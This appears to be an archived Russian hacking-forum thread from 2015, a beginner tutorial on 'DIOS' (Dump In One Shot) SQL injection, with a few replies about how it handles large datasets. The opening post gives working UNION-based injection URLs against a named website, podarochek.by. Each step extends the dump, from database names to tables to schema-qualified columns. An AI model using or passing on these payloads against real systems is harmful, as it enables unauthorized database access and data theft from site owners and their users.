PDA

Просмотр полной версии : SQLi DIOS


Mister_Bert0ni
16.05.2015, 16:35
Предисловие

Всем привет) И так, продолжаю свою серию постов "для нубиков таких как я"

Не знаю почему,но я почему то думал что тут найдуться множество статей о так называемом

DIOS ( Dump In One Shot), но увы как то маловато статей я встретел и решил запостить свою.

SQLi DIOS

DIOS - DUmp In One Shot ( Дамп всего за один выстрел)

Для наглядности возьмем какуе то скулю из нашего поста.Желательно без WAF для наглядной демонстрации.

Возьмем для примера эту скулю:


Code:
http://www.podarochek.by/about?curCategory=10&curItem=.1 union select 1,2,3,4,5,6,7,8,9-- -

Будем пробовать разобрать принцип работы DIOS.

Для того что бы понять что делает DIOS, давайте посмотрем на базовый запрос который вернет на

список всех доступных вебприложению БД


Code:
(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata)where
(@a)in (@a:=concat(@a,schema_name,'
'))))a)

Для нашего примера это выглядит так:


Code:
http://www.podarochek.by/about?curCategory=10&curItem=.1 +UNION+ALL+SELECT+1,
concat((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata)
where (@a)in (@a:=concat(@a,schema_name,0x3c62723e))))a)),3,@@v ersion,5,6,7,8,9 -- -

http://i.piccy.info/i9/4ed20624ed38782b46188d048a3b2b59/1431807603/9408/909671/a0_240.jpg

И так давайте посмотрем что делает запрос:

Сначала делает select переменной @a из information_schema.tables и обьеденяем все имена из schema в 'IN'.

И как мы все уже догадались,все имена БД придет в цикл 'IN' и будут выбраны ,так как все они существуют в таблице

information_schema.schemata

Теперь плавно перейдем к следующему запросу который позволит нам получить все таблицы:


Code:
http://www.podarochek.by/about?curCategory=10&curItem=
.1 +UNION+ALL+SELECT+1,concat((select (@a) from (select(@a:=0x00),(select (@a) from
(information_schema.tables)where (@a)in
(@a:=concat(@a,table_name,0x3c62723e))))a)),3,@@ve rsion,5,6,7,8,9 -- -

http://i.piccy.info/i9/3d9e586726a5a3a32cf6131cd91ec96c/1431807699/9073/909671/a1_240.jpg

Здесь принцип тотже, только выбераюься table_name из information_schema.tables

Хорошо идем) Но часто нам бывает не нужен вывод таблиц information_schema.Для того что бы отбросить вывод

таблиц Information_schema немного изменим запрос:


Code:
http://www.podarochek.by/about?curCategory=10&curItem=
.1 +UNION+ALL+SELECT+1,concat((select (@a) from (select(@a:=0x00),
(select (@a) from (information_schema.tables)where
(table_schema!=0x696e666f726d6174696f6e5f736368656 d61) and
(@a)in (@a:=concat(@a,table_name,0x3c62723e))))a)),3,@@ve rsion,5,6,7,8,9 -- -

http://i.piccy.info/i9/e1db75195dce99463a882e8a289e4c91/1431807739/8349/909671/a2_240.jpg

Теперь мы получаем список таблиц из всех баз кроме Information_schema

Теперь в вывод добавим имя базы перед именем таблицы с помощью следующего запроса:


Code:
http://www.podarochek.by/about?curCategory=10&curItem=
.1 +UNION+ALL+SELECT+1,concat((select (@a) from (select(@a:=0x00),(select (@a) from
(information_schema.tables)where(table_schema!=0x6 96e666f726d6174696f6e5f736368656d61) and (@a)in
(@a:=concat(@a,0x3c6c693e,table_schema,0x203a3a20, table_name,0x3c62723e))))a)),3,@@version,5,6,7,8,9 -- -

http://i.piccy.info/i9/2f40adfb32815024562a64ec2da60a75/1431807760/8431/909671/a3_240.jpg

Дальше как вы догадались добавим в вывод имена столбцов:


Code:
http://www.podarochek.by/about?curCategory=10&curItem=
.1 +UNION+ALL+SELECT+1,concat((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where
(table_schema!=0x696e666f726d6174696f6e5f736368656 d61) and (@a)in (@a:=concat(@a,0x3c6c693e,table_schema,
0x203a3a20,table_name,0x203a3a20,column_name,0x3c6 2723e))))a)),3,@@version,5,6,7,8,9 -- -

http://i.piccy.info/i9/7122391e46060ba3df00997074d24d7b/1431807782/13226/909671/a4_240.jpg

Это лишь основы DIOS.Есть уже много готовых DIOS написанных многими людьми.Многие с них собраны в хакбаре для Mozilla Firefox который я вылаживал в посте /threads/425298/ (https://antichat.live/threads/425298/)

Небольшая демонстрация плагина.

Unknown
16.05.2015, 21:11
...............................

https://rdot.org/forum/showthread.php?t=1170

psihoz26
19.05.2015, 11:39
Боюсь пробовать на 1кк записей. Скажите как работать будет с такими объёмами?

nopony
19.05.2015, 14:03
psihoz26 said:
↑ (https://antichat.live/posts/3849270/)
Боюсь пробовать на 1кк записей. Скажите как работать будет с такими объёмами?


Осмелюсь предположить что вкладка браузера зависнет(если не сам браузер)

Собсна как и при обычном echo проделанным миллион раз,вывод по 100к записей вполне решит эту проблему,но это уже будет не one shot

nikp
20.05.2015, 11:58
psihoz26 said:
↑ (https://antichat.live/posts/3849270/)
Боюсь пробовать на 1кк записей. Скажите как работать будет с такими объёмами?


С дефолтными настройками мускула отдаст не более 1М данных, иначе вернет null.